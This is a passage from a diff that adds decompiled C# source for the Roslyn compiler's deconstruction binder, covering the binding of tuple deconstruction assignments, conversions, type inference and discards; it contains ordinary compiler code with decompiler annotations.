(node.Parent?.Kind()) + { + case null: + case SyntaxKind.ExpressionStatement: + if (expression != null) + { + MessageID.IDS_FeatureMixedDeclarationsAndExpressionsInDeconstruction.CheckFeatureAvailability(diagnostics, (Compilation)(object)Compilation, ((SyntaxNode)node).Location); + } + break; + case SyntaxKind.ForStatement: + if (((ForStatementSyntax)node.Parent).Initializers.Contains((ExpressionSyntax)node)) + { + if (expression != null) + { + MessageID.IDS_FeatureMixedDeclarationsAndExpressionsInDeconstruction.CheckFeatureAvailability(diagnostics, (Compilation)(object)Compilation, ((SyntaxNode)node).Location); + } + } + else + { + Error(diagnostics, ErrorCode.ERR_DeclarationExpressionNotPermitted, (CSharpSyntaxNode)declaration); + } + break; + default: + Error(diagnostics, ErrorCode.ERR_DeclarationExpressionNotPermitted, (CSharpSyntaxNode)declaration); + break; + } + } + return result; + } + + internal BoundDeconstructionAssignmentOperator BindDeconstruction(CSharpSyntaxNode deconstruction, ExpressionSyntax left, ExpressionSyntax right, BindingDiagnosticBag diagnostics, ref DeclarationExpressionSyntax? declaration, ref ExpressionSyntax? expression, bool resultIsUsedOverride = false, BoundDeconstructValuePlaceholder? rightPlaceholder = null) + { + DeconstructionVariable deconstructionVariable = BindDeconstructionVariables(left, diagnostics, ref declaration, ref expression); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + BoundExpression boundRHS = rightPlaceholder ?? BindValue(right, instance, BindValueKind.RValue); + boundRHS = FixTupleLiteral(deconstructionVariable.NestedVariables, boundRHS, deconstruction, instance); + boundRHS = BindToNaturalType(boundRHS, diagnostics); + bool resultIsUsed = resultIsUsedOverride || IsDeconstructionResultUsed(left); + BoundDeconstructionAssignmentOperator result = BindDeconstructionAssignment(deconstruction, left, boundRHS, deconstructionVariable.NestedVariables, resultIsUsed, instance); + DeconstructionVariable.FreeDeconstructionVariables(deconstructionVariable.NestedVariables); + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + return result; + } + + private BoundDeconstructionAssignmentOperator BindDeconstructionAssignment(CSharpSyntaxNode node, ExpressionSyntax left, BoundExpression boundRHS, ArrayBuilder checkedVariables, bool resultIsUsed, BindingDiagnosticBag diagnostics) + { + if ((object)boundRHS.Type == null || boundRHS.Type.IsErrorType()) + { + FailRemainingInferences(checkedVariables, diagnostics); + NamedTypeSymbol specialType = GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)node); + TypeSymbol type = boundRHS.Type ?? specialType; + return new BoundDeconstructionAssignmentOperator((SyntaxNode)(object)node, DeconstructionVariablesAsTuple(left, checkedVariables, diagnostics, ignoreDiagnosticsFromTuple: true), new BoundConversion(boundRHS.Syntax, boundRHS, Conversion.Deconstruction, @checked: false, explicitCastInCode: false, null, null, type, hasErrors: true), resultIsUsed, specialType, hasErrors: true); + } + Conversion conversion; + bool flag = !MakeDeconstructionConversion(boundRHS.Type, (SyntaxNode)(object)node, boundRHS.Syntax, diagnostics, checkedVariables, out conversion); + if (conversion.Method != null) + { + CheckImplicitThisCopyInReadOnlyMember(boundRHS, conversion.Method, diagnostics); + } + FailRemainingInferences(checkedVariables, diagnostics); + BoundTupleExpression boundTupleExpression = DeconstructionVariablesAsTuple(left, checkedVariables, diagnostics, ((BindingDiagnosticBag)diagnostics).HasAnyErrors() || !resultIsUsed); + TypeSymbol type2 = (flag ? CreateErrorType() : boundTupleExpression.Type); + BoundConversion right = new BoundConversion(boundRHS.Syntax, boundRHS, conversion, @checked: false, explicitCastInCode: false, null, null, type2, flag) + { + WasCompilerGenerated = true + }; + return new BoundDeconstructionAssignmentOperator((SyntaxNode)(object)node, boundTupleExpression, right, resultIsUsed, type2); + } + + private static bool IsDeconstructionResultUsed(ExpressionSyntax left) + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode parent = left.Parent; + if (parent == null || parent.Kind() == SyntaxKind.ForEachVariableStatement) + { + return false; + } + CSharpSyntaxNode parent2 = parent.Parent; + if (parent2 == null) + { + return false; + } + switch (parent2.Kind()) + { + case SyntaxKind.ExpressionStatement: + return ((ExpressionStatementSyntax)parent2).Expression != parent; + case SyntaxKind.ForStatement: + { + ForStatementSyntax forStatementSyntax = (ForStatementSyntax)parent2; + if (!IReadOnlyListExtensions.Contains((IReadOnlyList)(object)forStatementSyntax.Incrementors, parent, (IEqualityComparer)null)) + { + return !IReadOnlyListExtensions.Contains((IReadOnlyList)(object)forStatementSyntax.Initializers, parent, (IEqualityComparer)null); + } + return false; + } + default: + return true; + } + } + + private BoundExpression FixTupleLiteral(ArrayBuilder checkedVariables, BoundExpression boundRHS, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + if (boundRHS.Kind == BoundKind.TupleLiteral) + { + bool flag = ((BindingDiagnosticBag)diagnostics).HasAnyErrors(); + TypeSymbol typeSymbol = MakeMergedTupleType(checkedVariables, (BoundTupleLiteral)boundRHS, syntax, flag ? null : diagnostics); + if ((object)typeSymbol != null) + { + boundRHS = GenerateConversionForAssignment(typeSymbol, boundRHS, diagnostics); + } + } + else if ((object)boundRHS.Type == null) + { + Error(diagnostics, ErrorCode.ERR_DeconstructRequiresExpression, SyntaxNodeOrToken.op_Implicit(boundRHS.Syntax)); + } + return boundRHS; + } + + private bool MakeDeconstructionConversion(TypeSymbol type, SyntaxNode syntax, SyntaxNode rightSyntax, BindingDiagnosticBag diagnostics, ArrayBuilder variables, out Conversion conversion) + { + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_01d8: Unknown result type (might be due to invalid IL or missing references) + //IL_01dd: Unknown result type (might be due to invalid IL or missing references) + //IL_020e: Unknown result type (might be due to invalid IL or missing references) + //IL_0157: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Unknown result type (might be due to invalid IL or missing references) + conversion = Conversion.Deconstruction; + DeconstructMethodInfo deconstructMethodInfo = default(DeconstructMethodInfo); + ImmutableArray foundTypes; + if (type.IsTupleType) + { + foundTypes = ImmutableArrayExtensions.SelectAsArray(type.TupleElementTypesWithAnnotations, TypeMap.AsTypeSymbol); + SetInferredTypes(variables, foundTypes, diagnostics); + if (variables.Count != foundTypes.Length) + { + Error(diagnostics, ErrorCode.ERR_DeconstructWrongCardinality, SyntaxNodeOrToken.op_Implicit(syntax), foundTypes.Length, variables.Count); + return false; + } + } + else + { + if (variables.Count < 2) + { + Error(diagnostics, ErrorCode.ERR_DeconstructTooFewElements, SyntaxNodeOrToken.op_Implicit(syntax)); + return false; + } + BoundDeconstructValuePlaceholder boundDeconstructValuePlaceholder = new BoundDeconstructValuePlaceholder(syntax, null, isDiscardExpression: false, type); + ImmutableArray outPlaceholders; + bool anyApplicableCandidates; + BoundExpression boundExpression = MakeDeconstructInvocationExpression(variables.Count, boundDeconstructValuePlaceholder, rightSyntax, diagnostics, out outPlaceholders, out anyApplicableCandidates, variables); + if (boundExpression.HasAnyErrors) + { + return false; + } + deconstructMethodInfo = new DeconstructMethodInfo(boundExpression, boundDeconstructValuePlaceholder, outPlaceholders); + foundTypes = ImmutableArrayExtensions.SelectAsArray(outPlaceholders, (Func)((BoundDeconstructValuePlaceholder p) => p.Type)); + SetInferredTypes(variables, foundTypes, diagnostics); + } + bool flag = false; + int count = variables.Count; + ArrayBuilder<(BoundValuePlaceholder, BoundExpression)> instance = ArrayBuilder<(BoundValuePlaceholder, BoundExpression)>.GetInstance(count); + for (int num = 0; num < count; num++) + { + DeconstructionVariable deconstructionVariable = variables[num]; + Conversion conversion2; + if (deconstructionVariable.NestedVariables != null) + { + SyntaxNode syntax2 = (SyntaxNode)(object)((syntax.Kind() == SyntaxKind.TupleExpression) ? ((TupleExpressionSyntax)(object)syntax).Arguments[num] : ((ArgumentSyntax)(object)syntax)); + flag |= !MakeDeconstructionConversion(foundTypes[num], syntax2, rightSyntax, diagnostics, deconstructionVariable.NestedVariables, out conversion2); + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder(syntax, ErrorTypeSymbol.UnknownResultType).MakeCompilerGenerated(); + instance.Add((boundValuePlaceholder, (BoundExpression)new BoundConversion(syntax, boundValuePlaceholder, conversion2, @checked: false, explicitCastInCode: false, null, null, ErrorTypeSymbol.UnknownResultType) + { + WasCompilerGenerated = true + })); + continue; + } + BoundExpression single = deconstructionVariable.Single; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + conversion2 = Conversions.ClassifyConversionFromType(foundTypes[num], single.Type, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(single.Syntax, useSiteInfo); + if (!conversion2.IsImplicit) + { + flag = true; + GenerateImplicitConversionError(diagnostics, Compilation, single.Syntax, conversion2, foundTypes[num], single.Type); + instance.Add(((BoundValuePlaceholder)null, (BoundExpression)null)); + } + else + { + BoundValuePlaceholder boundValuePlaceholder2 = new BoundValuePlaceholder(syntax, foundTypes[num]).MakeCompilerGenerated(); + instance.Add((boundValuePlaceholder2, CreateConversion(syntax, boundValuePlaceholder2, conversion2, isCast: false, null, single.Type, diagnostics))); + } + } + conversion = new Conversion(ConversionKind.Deconstruction, deconstructMethodInfo, instance.ToImmutableAndFree()); + return !flag; + } + + private void SetInferredTypes(ArrayBuilder variables, ImmutableArray foundTypes, BindingDiagnosticBag diagnostics) + { + int num = Math.Min(variables.Count, foundTypes.Length); + for (int i = 0; i < num; i++) + { + DeconstructionVariable deconstructionVariable = variables[i]; + BoundExpression single = deconstructionVariable.Single; + if (single != null && (object)single.Type == null) + { + variables[i] = new DeconstructionVariable(SetInferredType(single, foundTypes[i], diagnostics), (SyntaxNode)(object)deconstructionVariable.Syntax); + } + } + } + + private BoundExpression SetInferredType(BoundExpression expression, TypeSymbol type, BindingDiagnosticBag diagnostics) + { + return expression.Kind switch + { + BoundKind.DeconstructionVariablePendingInference => ((DeconstructionVariablePendingInference)expression).SetInferredTypeWithAnnotations(TypeWithAnnotations.Create(type), this, diagnostics), + BoundKind.DiscardExpression => ((BoundDiscardExpression)expression).SetInferredTypeWithAnnotations(TypeWithAnnotations.Create(type)), + _ => throw ExceptionUtilities.UnexpectedValue((object)expression.Kind), + }; + } + + private void FailRemainingInferences(ArrayBuilder variables, BindingDiagnosticBag diagnostics) + { + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + int count = variables.Count; + for (int i = 0; i < count; i++) + { + DeconstructionVariable deconstructionVariable = variables[i]; + if (deconstructionVariable.NestedVariables != null) + { + FailRemainingInferences(deconstructionVariable.NestedVariables, diagnostics); + continue; + } + switch (deconstructionVariable.Single.Kind) + { + case BoundKind.DeconstructionVariablePendingInference: + { + BoundExpression boundExpression = ((DeconstructionVariablePendingInference)deconstructionVariable.Single).FailInference(this, diagnostics); + variables[i] = new DeconstructionVariable(boundExpression, boundExpression.Syntax); + break; + } + case BoundKind.DiscardExpression: + { + BoundDiscardExpression boundDiscardExpression = (BoundDiscardExpression)deconstructionVariable.Single; + if ((object)boundDiscardExpression.Type == null) + { + Error(diagnostics, ErrorCode.ERR_TypeInferenceFailedForImplicitlyTypedDeconstructionVariable, SyntaxNodeOrToken.op_Implicit(boundDiscardExpression.Syntax), "_"); + variables[i] = new DeconstructionVariable((BoundExpression)boundDiscardExpression.FailInference(this, diagnostics), boundDiscardExpression.Syntax); + } + break; + } + } + } + } + + private TypeSymbol? MakeMergedTupleType(ArrayBuilder lhsVariables, BoundTupleLiteral rhsLiteral, CSharpSyntaxNode syntax, BindingDiagnosticBag? diagnostics) + { + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + int count = lhsVariables.Count; + int length = rhsLiteral.Arguments.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(count); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(count); + for (int i = 0; i < length; i++) + { + BoundExpression boundExpression = rhsLiteral.Arguments[i]; + TypeSymbol typeSymbol = boundExpression.Type; + if (i < count) + { + DeconstructionVariable deconstructionVariable = lhsVariables[i]; + if (deconstructionVariable.NestedVariables != null) + { + if (boundExpression.Kind == BoundKind.TupleLiteral) + { + typeSymbol = MakeMergedTupleType(deconstructionVariable.NestedVariables, (BoundTupleLiteral)boundExpression, syntax, diagnostics); + } + else if ((object)typeSymbol == null && diagnostics != null) + { + Error(diagnostics, ErrorCode.ERR_DeconstructRequiresExpression, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax)); + } + } + else if ((object)deconstructionVariable.Single.Type != null) + { + typeSymbol = deconstructionVariable.Single.Type; + } + } + else if ((object)typeSymbol == null && diagnostics != null) + { + Error(diagnostics, ErrorCode.ERR_DeconstructRequiresExpression, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax)); + } + instance.Add(TypeWithAnnotations.Create(typeSymbol)); + instance2.Add(boundExpression.Syntax.Location); + } + if (ArrayBuilderExtensions.Any(instance, (Func)((TypeWithAnnotations t) => !t.HasType))) + { + instance.Free(); + instance2.Free(); + return null; + } + return NamedTypeSymbol.CreateTuple(null, instance.ToImmutableAndFree(), instance2.ToImmutableAndFree(), default(ImmutableArray), Compilation, shouldCheckConstraints: true, includeNullability: false, default(ImmutableArray), syntax, diagnostics); + } + + private BoundTupleExpression DeconstructionVariablesAsTuple(CSharpSyntaxNode syntax, ArrayBuilder variables, BindingDiagnosticBag diagnostics, bool ignoreDiagnosticsFromTuple) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + int count = variables.Count; + ArrayBuilder instance = ArrayBuilder.GetInstance(count); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(count); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(count); + ArrayBuilder inferredElementNames = ArrayBuilder.GetInstance(count); + Enumerator enumerator = variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + DeconstructionVariable current = enumerator.Current; + BoundExpression boundExpression; + if (current.NestedVariables != null) + { + boundExpression = DeconstructionVariablesAsTuple(current.Syntax, current.NestedVariables, diagnostics, ignoreDiagnosticsFromTuple); + inferredElementNames.Add((string)null); + } + else + { + boundExpression = current.Single; + inferredElementNames.Add(ExtractDeconstructResultElementName(boundExpression)); + } + instance.Add(boundExpression); + instance2.Add(TypeWithAnnotations.Create(boundExpression.Type)); + instance3.Add(((SyntaxNode)current.Syntax).Location); + } + ImmutableArray arguments = instance.ToImmutableAndFree(); + PooledHashSet instance4 = PooledHashSet.GetInstance(); + RemoveDuplicateInferredTupleNamesAndFreeIfEmptied(ref inferredElementNames, (HashSet)(object)instance4); + instance4.Free(); + ImmutableArray immutableArray = inferredElementNames?.ToImmutableAndFree() ?? default(ImmutableArray); + ImmutableArray immutableArray2 = (immutableArray.IsDefault ? default(ImmutableArray) : ImmutableArrayExtensions.SelectAsArray(immutableArray, (Func)((string n) => n != null))); + bool flag = Compilation.LanguageVersion.DisallowInferredTupleElementNames(); + NamedTypeSymbol type = NamedTypeSymbol.CreateTuple(((SyntaxNode)syntax).Location, instance2.ToImmutableAndFree(), instance3.ToImmutableAndFree(), immutableArray, Compilation, !ignoreDiagnosticsFromTuple, includeNullability: false, flag ? immutableArray2 : default(ImmutableArray), syntax, ignoreDiagnosticsFromTuple ? null : diagnostics); + return (BoundTupleExpression)BindToNaturalType(new BoundTupleLiteral((SyntaxNode)(object)syntax, arguments, immutableArray, immutableArray2, type), diagnostics); + } + + private static string? ExtractDeconstructResultElementName(BoundExpression expression) + { + if (expression.Kind == BoundKind.DiscardExpression) + { + return null; + } + return InferTupleElementName(expression.Syntax); + } + + private BoundExpression MakeDeconstructInvocationExpression(int numCheckedVariables, BoundExpression receiver, SyntaxNode rightSyntax, BindingDiagnosticBag diagnostics, out ImmutableArray outPlaceholders, out bool anyApplicableCandidates, ArrayBuilder? variablesOpt = null) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0127: Unknown result type (might be due to invalid IL or missing references) + //IL_01df: Unknown result type (might be due to invalid IL or missing references) + //IL_01e5: Invalid comparison between Unknown and I4 + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_021b: Invalid comparison between Unknown and I4 + anyApplicableCandidates = false; + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)receiver.Syntax; + TypeSymbol? type = receiver.Type; + if ((object)type != null && type.IsDynamic()) + { + Error(diagnostics, ErrorCode.ERR_CannotDeconstructDynamic, SyntaxNodeOrToken.op_Implicit(rightSyntax)); + outPlaceholders = default(ImmutableArray); + return BadExpression((SyntaxNode)(object)cSharpSyntaxNode, receiver); + } + receiver = BindToNaturalType(receiver, diagnostics); + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(numCheckedVariables); + try + { + for (int i = 0; i < numCheckedVariables; i++) + { + BoundExpression boundExpression = variablesOpt?[i].Single; + Symbol symbol; + if (boundExpression is DeconstructionVariablePendingInference deconstructionVariablePendingInference) + { + Symbol variableSymbol = deconstructionVariablePendingInference.VariableSymbol; + symbol = variableSymbol; + } + else if (boundExpression is BoundLocal { DeclarationKind: var declarationKind } boundLocal && (uint)(declarationKind - 1) <= 1u) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + symbol = localSymbol; + } + else + { + symbol = null; + } + Symbol variableSymbol2 = symbol; + OutDeconstructVarPendingInference outDeconstructVarPendingInference = new OutDeconstructVarPendingInference((SyntaxNode)(object)cSharpSyntaxNode, variableSymbol2, boundExpression is BoundDiscardExpression); + instance.Arguments.Add((BoundExpression)outDeconstructVarPendingInference); + instance.RefKinds.Add((RefKind)2); + instance2.Add(outDeconstructVarPendingInference); + } + BoundExpression expr = BindInstanceMemberAccess(rightSyntax, (SyntaxNode)(object)cSharpSyntaxNode, receiver, "Deconstruct", 0, default(SeparatedSyntaxList), default(ImmutableArray), invoked: true, indexed: false, diagnostics); + expr = CheckValue(expr, BindValueKind.RValueOrMethodGroup, diagnostics); + expr.WasCompilerGenerated = true; + if (expr.Kind != BoundKind.MethodGroup) + { + return MissingDeconstruct(receiver, rightSyntax, numCheckedVariables, diagnostics, out outPlaceholders, receiver); + } + BoundExpression boundExpression2 = BindMethodGroupInvocation(rightSyntax, rightSyntax, "Deconstruct", (BoundMethodGroup)expr, instance, diagnostics, null, allowUnexpandedForm: true, out anyApplicableCandidates); + boundExpression2.WasCompilerGenerated = true; + if (!anyApplicableCandidates) + { + return MissingDeconstruct(receiver, rightSyntax, numCheckedVariables, diagnostics, out outPlaceholders, boundExpression2); + } + MethodSymbol method = ((BoundCall)boundExpression2).Method; + ImmutableArray parameters = method.Parameters; + for (int j = (method.IsExtensionMethod ? 1 : 0); j < parameters.Length; j++) + { + if ((int)parameters[j].RefKind != 2) + { + return MissingDeconstruct(receiver, rightSyntax, numCheckedVariables, diagnostics, out outPlaceholders, boundExpression2); + } + } + if ((int)method.ReturnType.GetSpecialTypeSafe() != 6) + { + return MissingDeconstruct(receiver, rightSyntax, numCheckedVariables, diagnostics, out outPlaceholders, boundExpression2); + } + if (ArrayBuilderExtensions.Any(instance2, (Func)((OutDeconstructVarPendingInference v) => v.Placeholder == null))) + { + return MissingDeconstruct(receiver, rightSyntax, numCheckedVariables, diagnostics, out outPlaceholders, boundExpression2); + } + outPlaceholders = ArrayBuilderExtensions.SelectAsArray(instance2, (Func)((OutDeconstructVarPendingInference v) => v.Placeholder)); + return boundExpression2; + } + finally + { + instance.Free(); + instance2.Free(); + } + } + + private BoundBadExpression MissingDeconstruct(BoundExpression receiver, SyntaxNode rightSyntax, int numParameters, BindingDiagnosticBag diagnostics, out ImmutableArray outPlaceholders, BoundExpression childNode) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol? type = receiver.Type; + if ((object)type != null && !type.IsErrorType()) + { + Error(diagnostics, ErrorCode.ERR_MissingDeconstruct, SyntaxNodeOrToken.op_Implicit(rightSyntax), receiver.Type, numParameters); + } + outPlaceholders = default(ImmutableArray); + return BadExpression(rightSyntax, childNode); + } + + private DeconstructionVariable BindDeconstructionVariables(ExpressionSyntax node, BindingDiagnosticBag diagnostics, ref DeclarationExpressionSyntax? declaration, ref ExpressionSyntax? expression) + { + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.DeclarationExpression: + { + DeclarationExpressionSyntax declarationExpressionSyntax = (DeclarationExpressionSyntax)node; + if (declaration == null) + { + declaration = declarationExpressionSyntax; + } + bool isConst = false; + bool isScoped; + bool isVar; + AliasSymbol alias; + TypeWithAnnotations declTypeWithAnnotations = BindVariableTypeWithAnnotations(declarationExpressionSyntax.Designation, diagnostics, declarationExpressionSyntax.Type.SkipScoped(out isScoped).SkipRef(), ref isConst, out isVar, out alias); + if (declarationExpressionSyntax.Designation.Kind() == SyntaxKind.ParenthesizedVariableDesignation) + { + if (!isVar) + { + Error(diagnostics, ErrorCode.ERR_DeconstructionVarFormDisallowsSpecificType, (CSharpSyntaxNode)declarationExpressionSyntax.Designation); + } + else if (!(node.Parent is ArgumentSyntax)) + { + MessageID.IDS_FeatureTuples.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)declarationExpressionSyntax.Designation); + } + } + return BindDeconstructionVariables(declTypeWithAnnotations, declarationExpressionSyntax.Designation, declarationExpressionSyntax, diagnostics); + } + case SyntaxKind.TupleExpression: + { + MessageID.IDS_FeatureTuples.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)node); + TupleExpressionSyntax obj = (TupleExpressionSyntax)node; + ArrayBuilder instance = ArrayBuilder.GetInstance(obj.Arguments.Count); + Enumerator enumerator = obj.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + ArgumentSyntax current = enumerator.Current; + if (current.NameColon != null) + { + Error(diagnostics, ErrorCode.ERR_TupleElementNamesInDeconstruction, (CSharpSyntaxNode)current.NameColon); + } + instance.Add(BindDeconstructionVariables(current.Expression, diagnostics, ref declaration, ref expression)); + } + return new DeconstructionVariable(instance, (SyntaxNode)(object)node); + } + default: + { + BoundExpression expr = BindExpression(node, diagnostics, invoked: false, indexed: false); + BoundExpression boundExpression = CheckValue(expr, BindValueKind.Assignable, diagnostics); + if (expression == null && boundExpression.Kind != BoundKind.DiscardExpression) + { + expression = node; + } + return new DeconstructionVariable(boundExpression, (SyntaxNode)(object)node); + } + } + } + + private DeconstructionVariable BindDeconstructionVariables(TypeWithAnnotations declTypeWithAnnotations, VariableDesignationSyntax node, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + { + SingleVariableDesignationSyntax designation = (SingleVariableDesignationSyntax)node; + return new DeconstructionVariable(BindDeconstructionVariable(declTypeWithAnnotations, designation, syntax, diagnostics), (SyntaxNode)(object)syntax); + } + case SyntaxKind.DiscardDesignation: + { + DiscardDesignationSyntax discardDesignationSyntax = (DiscardDesignationSyntax)node; + if (discardDesignationSyntax.Parent is DeclarationExpressionSyntax declarationExpressionSyntax && declarationExpressionSyntax.Designation == discardDesignationSyntax) + { + TypeSyntax type = declarationExpressionSyntax.Type; + SyntaxToken val; + if (type is ScopedTypeSyntax scopedTypeSyntax) + { + val = scopedTypeSyntax.ScopedKeyword; + diagnostics.Add(ErrorCode.ERR_ScopedDiscard, ((SyntaxToken)(ref val)).GetLocation()); + type = scopedTypeSyntax.Type; + } + if (type is RefTypeSyntax refTypeSyntax) + { + val = refTypeSyntax.RefKeyword; + diagnostics.Add(ErrorCode.ERR_DeconstructVariableCannotBeByRef, ((SyntaxToken)(ref val)).GetLocation()); + } + } + return new DeconstructionVariable((BoundExpression)BindDiscardExpression((SyntaxNode)(object)syntax, declTypeWithAnnotations), (SyntaxNode)(object)syntax); + } + case SyntaxKind.ParenthesizedVariableDesignation: + { + ParenthesizedVariableDesignationSyntax obj = (ParenthesizedVariableDesignationSyntax)node; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = obj.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDesignationSyntax current = enumerator.Current; + instance.Add(BindDeconstructionVariables(declTypeWithAnnotations, current, current, diagnostics)); + } + return new DeconstructionVariable(instance, (SyntaxNode)(object)syntax); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind()); + } + } + + private BoundDiscardExpression BindDiscardExpression(SyntaxNode syntax, TypeWithAnnotations declTypeWithAnnotations) + { + TypeSymbol type = declTypeWithAnnotations.Type; + return new BoundDiscardExpression(syntax, declTypeWithAnnotations.NullableAnnotation, (object)type == null, type); + } + + private BoundExpression BindDeconstructionVariable(TypeWithAnnotations declTypeWithAnnotations, SingleVariableDesignationSyntax designation, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Unknown result type (might be due to invalid IL or missing references) + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_01b4: Unknown result type (might be due to invalid IL or missing references) + //IL_01b9: Unknown result type (might be due to invalid IL or missing references) + //IL_01cc: Unknown result type (might be due to invalid IL or missing references) + //IL_01d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Invalid comparison between Unknown and I4 + SourceLocalSymbol sourceLocalSymbol = LookupLocal(designation.Identifier); + SyntaxToken val; + if ((object)sourceLocalSymbol != null) + { + if (designation.Parent is DeclarationExpressionSyntax declarationExpressionSyntax && declarationExpressionSyntax.Designation == designation) + { + TypeSyntax type = declarationExpressionSyntax.Type; + if (type is ScopedTypeSyntax scopedTypeSyntax) + { + ModifierUtils.CheckScopedModifierAvailability(type, scopedTypeSyntax.ScopedKeyword, diagnostics); + type = scopedTypeSyntax.Type; + } + if (type is RefTypeSyntax refTypeSyntax) + { + val = refTypeSyntax.RefKeyword; + diagnostics.Add(ErrorCode.ERR_DeconstructVariableCannotBeByRef, ((SyntaxToken)(ref val)).GetLocation()); + } + if (declTypeWithAnnotations.HasType) + { + CheckRestrictedTypeInAsyncMethod(ContainingMemberOrLambda, declTypeWithAnnotations.Type, diagnostics, (SyntaxNode)(object)type); + } + if (declTypeWithAnnotations.HasType && (int)sourceLocalSymbol.Scope == 2 && !declTypeWithAnnotations.Type.IsErrorTypeOrRefLikeType()) + { + diagnostics.Add(ErrorCode.ERR_ScopedRefAndRefStructOnly, ((SyntaxNode)type).Location); + } + } + bool hasErrors = sourceLocalSymbol.ScopeBinder.ValidateDeclarationNameConflictsInScope(sourceLocalSymbol, diagnostics); + if (declTypeWithAnnotations.HasType) + { + return new BoundLocal((SyntaxNode)(object)syntax, sourceLocalSymbol, BoundLocalDeclarationKind.WithExplicitType, null, isNullableUnknown: false, declTypeWithAnnotations.Type, hasErrors); + } + return new DeconstructionVariablePendingInference((SyntaxNode)(object)syntax, sourceLocalSymbol, null); + } + GlobalExpressionVariable globalExpressionVariable = LookupDeclaredField(designation); + if ((object)globalExpressionVariable == null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder_Deconstruct.cs", 923); + } + if (designation.Parent is DeclarationExpressionSyntax declarationExpressionSyntax2 && declarationExpressionSyntax2.Designation == designation) + { + TypeSyntax type2 = declarationExpressionSyntax2.Type; + if (type2 is ScopedTypeSyntax scopedTypeSyntax2) + { + val = scopedTypeSyntax2.ScopedKeyword; + Location location = ((SyntaxToken)(ref val)).GetLocation(); + object[] array = new object[1]; + val = scopedTypeSyntax2.ScopedKeyword; + array[0] = ((SyntaxToken)(ref val)).ValueText; + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, location, array); + type2 = scopedTypeSyntax2.Type; + } + if (type2 is RefTypeSyntax refTypeSyntax2) + { + val = refTypeSyntax2.RefKeyword; + Location location2 = ((SyntaxToken)(ref val)).GetLocation(); + object[] array2 = new object[1]; + val = refTypeSyntax2.RefKeyword; + array2[0] = ((SyntaxToken)(ref val)).ValueText; + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, location2, array2); + } + } + BoundThisReference boundThisReference = ThisReference((SyntaxNode)(object)designation, ContainingType, hasErrors: false, wasCompilerGenerated: true); + if (declTypeWithAnnotations.HasType) + { + return new BoundFieldAccess((SyntaxNode)(object)syntax, boundThisReference, globalExpressionVariable, null, LookupResultKind.Viable, isDeclaration: true, 